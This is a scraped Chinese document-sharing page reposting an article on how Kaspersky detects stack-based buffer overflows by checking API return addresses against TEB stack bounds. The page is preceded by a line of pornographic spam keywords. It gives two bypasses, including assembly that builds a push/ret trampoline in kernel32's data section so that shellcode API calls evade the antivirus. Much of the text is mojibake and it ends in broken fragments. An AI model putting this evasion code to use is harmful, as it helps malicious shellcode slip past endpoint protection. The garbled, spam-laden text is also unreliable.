freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

【轉(zhuǎn)載】基于棧指紋檢測(cè)緩沖區(qū)溢出的一點(diǎn)思路(編輯修改稿)

2025-06-12 20:06 本頁(yè)面
 

【文章內(nèi)容簡(jiǎn)介】 C*/VOID*ThreadLocalStoragePointer;/*030*/PEB*ProcessEnvironmentBlock; //PEB/*034*/ULONG LastErrorValue;/*038*/ULONG CountOfOwnedCriticalSections; /*03C*/ULONG CsrClientThread; /*040*/ULONG Win32ThreadInfo; /*044*/UCHAR Win32ClientInfo[0x7C]; /*0C0*/ULONG WOW32Reserved; /*0C4*/ULONG CurrentLocale; /*0C8*/ULONG FpSoftwareStatusRegister; /*0CC*/UCHAR SystemReserved1[0xD8]; //ExitStack?/*1A4*/ULONG Spare1; /*1A8*/ULONG ExceptionCode; /*1AC*/UCHAR SpareBytes1[0x28]; /*1D4*/UCHAR SystemReserved2[0x28]; /*1FC*/UCHAR GdiTebBatch[0x4E0]; /*6DC*/ULONG gdiRgn; /*6E0*/ULONG gdiPen; /*6E4*/ULONG gdiBrush; /*6E8*/CLIENT_ID RealClientId; /*6F0*/ULONG GdiCachedProcessHandle; /*6F4*/ULONG GdiClientPID; /*6F8*/ULONG GdiClientTID; /*6FC*/ULONG GdiThreadLocalInfo; /*700*/UCHAR UserReserved[0x14]; /*714*/UCHAR glDispatchTable[0x460]; /*B74*/UCHAR glReserved1[0x68]; /*BDC*/ULONG glReserved2; /*BE0*/ULONG glSectionInfo; /*BE4*/ULONG glSection;/*BE8*/ULONG glTable; /*BEC*/ULONG glCurrentRC; /*BF0*/ULONG glContext; /*BF4*/ULONG LastStatusValue; /*BF8*/LARGE_INTEGER StaticUnicodeString; /*C00*/UCHAR StaticUnicodeBuffer[0x20C];/*E0C*/ULONG DeallocationStack; /*E10*/UCHAR TlsSlots[0x100];/*F10*/LARGE_INTEGER TlsLinks; /*F18*/ULONG Vdm; /*F1C*/ULONG ReservedForNtRpc; /*F20*/LARGE_INTEGER DbgSsReserved; /*F28*/ULONG HardErrorsAreDisabled; /*F2C*/UCHAR Instrumentation[0x40];/*F6C*/ULONG WinSockData; /*F70*/ULONG GdiBatchCount; /*F74*/ULONG Spare2; /*F78*/ULONG Spare3; /*F7C*/ULONG Spare4; /*F80*/ULONG ReservedForOle; /*F84*/ULONG WaitingOnLoaderLock; }TEB,*PTEB; typedef struct _NT_TIB{struct _EXCEPTION_REGISTRATION_RECORD*ExceptionList;//00h Head of exception//record list PVOID StackBase; //04h PVOID StackLimit; //08h PVOID SubSystemTib; //0Ch union{//10h PVOID FiberData; //for TIB ULONG Version; //for TEB}; PVOID ArbitraryUserPointer; //14h Available//for application use struct _NT_TIB*Self; //18h Linear address//of TEB structure}NT_TIB; typedef NT_TIB*PNT_TIB; Fs: [4]和 Fs: [8]分別是當(dāng)前線程的?;泛蜅m?,現(xiàn)在思路就比較明朗了,卡巴就是通過(guò)檢測(cè) GetProcAddress 等關(guān)鍵 API 的返回地址是否處于棧中來(lái)判定棧溢出的發(fā)生?,F(xiàn)有檢測(cè)模式的不足既然知道了他的檢測(cè)模式,那么突破就是輕而易舉的事了,有兩種思路:修改 TEB 中 Fs: [4]和 Fs:[8]的值來(lái) 使卡巴認(rèn)為返回地址不在棧中 .就是上面 Shellcode 中在 call 之前注釋掉的部分 mov dword ptr fs: [4],0x0012FFFF 和 mov dword ptr fs:[8],0x0012FFFF。在測(cè)試的時(shí)候發(fā)現(xiàn)使用這一方法能使 GetProcAddress 繞過(guò)卡巴的檢測(cè),但是 LoadLibrary 系列卻不行,百思不得其解,若有高人知道,請(qǐng)指教 (可能 TEB 跟線程有關(guān), LoadLibrary 涉及到多線程方面的一些問(wèn)題 )。第二種方法就是在內(nèi)存中找一個(gè)相對(duì)固定又可寫(xiě)可執(zhí)行的地址寫(xiě)入 push 返回地址ret 這樣一系列的指令,然后再將函數(shù)返回地址指向其來(lái)繞過(guò)卡巴的檢測(cè)。具體的實(shí)現(xiàn)如下:在原來(lái)調(diào)用 API 的地方,如 call dword ptr[edi4]//LoadLibraryA 使用如下方法來(lái)代替: mov edx,dword ptr[edi4]//LoadLibraryA call gcall 其中 gcall 代碼如下: //==繞過(guò)緩沖區(qū)溢出檢查的 call==////輸入?yún)?shù): //edx 函數(shù)地址 //0x7C 884000 gcall: pop eax//將真正的返回地址保存到 eax mov ecx,0x7C 884000 push ecx mov byte ptr[ecx],0x68//push 指令 mov dword ptr[ecx+1],eax//寫(xiě)入地址 mov byte ptr[ecx+5],0xC3//寫(xiě)入 ret 指令 jmp edx//執(zhí)行真正的函數(shù) 0x7C 884000 是Kernel32 數(shù)據(jù)段的地址,當(dāng)然,可以用其它等價(jià)的地址替換。再次運(yùn)行shellcode,卡巴沒(méi)有任何反應(yīng),如圖 2:*){=*; =39。39。;==39。pointer39。;
點(diǎn)擊復(fù)制文檔內(nèi)容
環(huán)評(píng)公示相關(guān)推薦
文庫(kù)吧 www.dybbs8.com
備案圖片鄂ICP備17016276號(hào)-1